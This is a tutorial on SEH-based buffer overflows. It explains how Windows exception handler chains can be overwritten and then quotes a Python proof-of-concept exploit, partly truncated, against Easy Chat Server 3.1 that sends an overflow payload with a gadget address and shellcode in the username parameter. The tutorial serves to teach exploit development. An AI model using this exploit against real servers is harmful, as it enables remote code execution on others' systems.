Exploit Development III

A simple SEH exploit

Hello again! On this quick tutorial i’m going to take you trough the development and exploitation of a SEH – Based exploit. Let’s begin with the basics and then walk trough the development and exploitation of an application.

What is SEH?

An exception is an event that occurs during the execution of a program. It requires the execution of cod e outside the normal flow of control. The SEH blocks of code are encapsulated with each block having one or more associated handlers. Each handlers specifies some form of filter condition on the type of exception it handles, when an exception is raised by code in a protected block, the set of corresponding handlers is searcherd in order and the first one with a matching filter condition is executed.

A single method can have multiple structured exception handling blocks, and the blocks can also be nested within each other

SEH structure:

It contains an exception record with a machine-independent description of an exception, a context record with a machine-dependant description of the processor context at the time of the exception.

How does it works?

The exception handlers are linked to each other, they form a linked list chain on the stack, and sit relatively close to the bottom of the stack, when an exception occurs, it retrieves the head of the SEH chain and goes trough the list and tries to find the suitable handler to close the application properly.

Can it be abused somehow? Yes :-)

When exploiting an SEH overwrite an attackers needs to overwitre the handler attribute of the EXCEPTION_RESITRATION_RECORD with the address of an instruction sequence similar to POP POP RET. When an exception is triggered, this causes to pass the execution to this overwritten address which subsequently return to the location on the stack of the NEXT attribute of the EXCEPTION_REGISTRATION_RECORD. Then the Next attribute is also controlled by the attacker, bu if we recall the stack layout the Next attribute is below the Handler Attribute.

Note: This limites the attacker to 4 bytes before running into the handler address.

In any case, by overwriting the Next attribute with the instructions that jump to the handler attribute the attacker typically has enough room for arbitrary shellcode, and this is exactly what happens.

Differences with a basic overwrite of EIP:

On a regular stack-based buffer overflow, we can overwrite the return address of EIP, and when doing a SEH-Based overflow we continue to overwrite the stack after EIP until we reach and overwrite the default exception handler.

The following exploit code: https://www.exploit-db.com/exploits/44155/ exploits a remote SEH-based buffer overflow by overwriting SEH and after a shortjump it executes a shellcode in the stack.

# Exploit Author: Juan Sacco <[email protected]>
# Vulnerability found using Exploit Pack v10 - http://exploitpack.com
# Impact:
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in adenial-of-service condition.
# Program description:
# Easy Chat Server is a easy, fast and affordable way to host and manage your own real-time communication software,
# it allows friends/colleagues to chat with you through a Web Browser (IE, Safari, Chrome, Opera etc.)
# Vendor page: http://www.echatserver.com/
import string, sys
import socket, httplib
import struct
def exploit():
junk = '\x41' * 217
shortjmp = "\xeb\x08\xcc\xcc" # Jump over SEH
seh = struct.pack('<L', 0x100154c5) # ADD ESP,2C # POP ESI # ADD ESP,0C # RETN ** [SSLEAY32.dll] ** | {PAGE_EXECUTE_READ}
buffersize = 2775
nops = "\x90"
# debug = "\xcc\xcc\xcc\xcc"
shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
buffer = junk + shortjmp + seh + nops * (buffersize -
(len(shellcode))) + shellcode
print buffer
URL = '/chat.ghp?username=' + buffer + '&password=null&room=1&null=2'
conn = httplib.HTTPConnection(host, port)
conn.request('GET', URL)
except Exception as Error:
print "[!] Something went wrong!"
print Error
def howtousage():
print "[!] Sorry, minimum required arguments: [host] [port]"
if __name__ == '__main__':
print "[*] EChat Server v3.1 CHAT.ghp (UserName)"
print "[*] Author: Juan Sacco <[email protected]>"
host = sys.argv[1]
port = sys.argv[2]
except IndexError:

On the following screenshot I have used a payload full of A’s ( 5000 ) and we can see how EIP is overwritten and a Access Violation is triggered. In order to get the Stack-Executable we need to disable DEP.

Using Mona.py I have created a pattern to find the offset that’s need to be used for EIP, relaunch the exploit and then find the offset and SEH to overwrite.

Here you can see the commands used to find the offset.

After we have overwritten the SEH we can jump to our shellcode, on this example I have used a NOPs Led for debugging and halted the execution with CC.

And here we can see how we got code execution ( our shellcode ) that is calling CALC as a proof of concept. The exploit it’s already doing the calculation of the shellcode size so you can replace it with null-free shellcode if you wish to execute something different.

Where to get Mona: https://github.com/corelan/mona

Where to get Pycharm: https://www.jetbrains.com/pycharm/download/#section=linux

MSDN SEH: https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657(v=vs.85).aspx